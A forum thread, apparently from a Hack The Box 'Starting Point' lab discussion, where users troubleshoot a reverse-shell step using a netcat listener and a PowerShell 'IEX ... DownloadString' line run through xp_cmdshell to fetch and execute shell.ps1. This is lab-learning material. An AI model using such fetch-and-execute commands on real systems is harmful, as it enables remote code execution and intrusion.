Starting Point [HTB]

Type your comment> @Sharvantg said:

Type your comment> @sabukabu said:

I’m stuck around the same area.

I have made a file called shell.ps1 with the code verbatim of the example inside.

I start up my web server, get netcat listening and get the ufw callbacks but i get an error when I try to run:

I think because the example is using IP 10.10.14.3 and i didnt change to be my IP but honestly im just copy/pasting at this point so dunno…

help?

Hey, I’m stuck here too. Have you figured what the problem was?
This is my output.

Exception calling “DownloadString” with “1” argument(s): “Unable to connect to the remote server”

At line:1 char:1

  • IEX (New-Object Net.WebClient).DownloadString("http://10.0.2.15/shell

  • 
      + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException      
    
      + FullyQualifiedErrorId : WebException             
    
    
    

I was stuck here also. I determined that you need to:

  1. Determine what the ipaddr (inet addr) is for tun0.
  2. Use that ip to replace 10.10.14.3 in both shell.ps1 and the example xpcmdshell script.